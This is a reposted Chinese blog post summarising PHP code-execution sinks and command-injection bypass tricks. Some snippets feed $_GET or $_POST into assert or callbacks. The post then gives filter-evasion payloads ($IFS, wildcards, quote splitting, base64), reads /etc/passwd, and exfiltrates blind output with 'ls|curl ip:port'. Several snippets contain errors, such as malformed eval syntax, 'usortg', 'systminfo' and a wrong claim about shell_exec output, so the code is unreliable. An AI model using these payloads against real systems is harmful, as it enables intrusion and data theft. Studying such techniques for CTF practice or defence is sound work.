ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

总结一下代码执行与命令执行

2020-07-28 12:34:53  阅读:271  来源: 互联网

标签:总结 函数 IFS assert 命令 代码执行 数组 array 执行


一.代码执行

1.常见的执行函数

(1).eval()将字符串当作函数执行

1 <?php
2 eval (echo "hello";);
3 ?>

(2).assert()判断是否是字符串,是则代码执行

1 <?php
2 $a='assert';
3 $a(phpinfo());
4 ?>

(3).call_user_func()回调函数,可以使用is_callable查看是否可以进行调用,其中可以传递内置和用户自定义的函数.

1 <?php
2 $a='system'
3 $b='systminfo';
4 call_user_func($a,$b);
5 call_user_func('eval','phpinfo()');
6 ?>

(4).call_user_fuc_array():回调函数,参数位数组

1 <?php
2 $array[0]=$_POST['a'];
3 call_user_func_array("assert",$array);
4 ?>

(5)preg_replace() 当为/e时代码会执行,前提是不超过php7

1 <?php
2 $a='phpinfo()';
3 $b=preg_replace("/abc/e",$a,'abc');
4 ?>

(6)array_map()为数组的每个元素应用回调函数,使用/?a=assert&b=phpinfo();

1 <?php
2 $a=$_GET['a'];
3 $b=$_GET['b'];
4 $array[0]=$b;
5 $c=array_map($a,$array);
6 ?>

(7)array_filter依次将array数组中的每个值传递到callback函数。如果callback函数返回true,则array数组的当前值会被包含在返回的结果数组中。数组的键名保持不变

1 <?php
2 $array[0]=$_GET['a'];
3 array_filter($array,'assert');
4 ?>

(8)usort使用自定义函数对数组进行排序,用法1[]=phpinfo()&1[]=123$2[]=assert,过程就是GET变量被展开成连个参数['phpinfo()','123']和assert,传入usort函数。usort函数的第二个参数是回调函数assert,其调用了第一个参数的phpinfo();

1 <?php
2 usortg($_GET[1],'assert');
3 ?>

 

 

(9) uasort()使用用户自定义的比较函数对数组的值进行排序并保持索引关联

1 <?php
2 $e='assert';
3 $arr=array($_REQUEST['pass'],'test');
4 uasort($arr,$e);
5 ?>

(10)${}中间的php代码将会被解析

1 <?php
2 ${phpinfo()};
3 ?>

 

 

 二. 命令执行

1.常见的命令执行函数

(1)system()可以执行系统命令并将其输出

1 <?php
2 system('pwd');
3 system('whoami');
4 ?>

(2)exec()执行命令,但是无输出。

1 <?php
2 highlight_file(__FILE__);
3 $b=exec('whoami');
4 var_dump($b);
5 ?>

(3)passthru执行命令输出

1 <?php
2 highlight_file(__FILE__);
3 passthru('systeminfo');
4 ?>

(4)shell_exec执行命令但无回显

1 <?php
2 highlight_file(__FILE__);
3 var_dump(shell_exec('ipconfig'));
4 ?>

(5)反问号,执行shell命令,并返回输出的字符串

1 <?php
2 highlight_file(__FILE__);
3 $a = 'ipconfig';
4 echo `$a`;
5 ?>

(6)ob_start打开输出控制缓冲

1 <?php
2 ob_start("system");
3 echo "whoami";
4 ob_end_flush();
5 ?>

2.绕过

(1)常见的分隔符

换行符%0a

回车符%0d

连续指令 ;

后台进程 &

管道符 |

逻辑 || &&

(2)绕过空格

$IFS

<

${IFS}

$IFS$9

$%09

(3)各类符号

1 echo "${PATH:0:1}"
2 echo "`expr$IFS\substr\$IFS\$(pwd)\$IFS\1\$IFS\1`"
3 echo `$(expr${IFS}substr${IFS}$PWD${IFS}1${IFS}1)`
4 expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}6${IFS}1

%0a,%0d,%00,%20

(4)铭感字符绕过

变量绕过:a=l;b=s;$a$b

 

 (5)编码绕过

echo 'cat' |base64

(6)未定义的初始化变量

cat $b /etc/passwd

 

 (7)连接符

cat /etc/pass'w'd

 

 (8)使用通配符

/???/?s --help

(9)无回显

使用延时函数,比如:ls|sleep 3

使用http,比如:ls|curl ip:port

使用DNS

(10)长度绕过

如15位命令执行,7位命令执行,5位命令执行,4位命令执行

https://xz.aliyun.com/t/1579

(11)无字母数字的命令执行

1.异或

2.取反

3.自增

 

标签:总结,函数,IFS,assert,命令,代码执行,数组,array,执行
来源: https://www.cnblogs.com/romatic/p/13338545.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有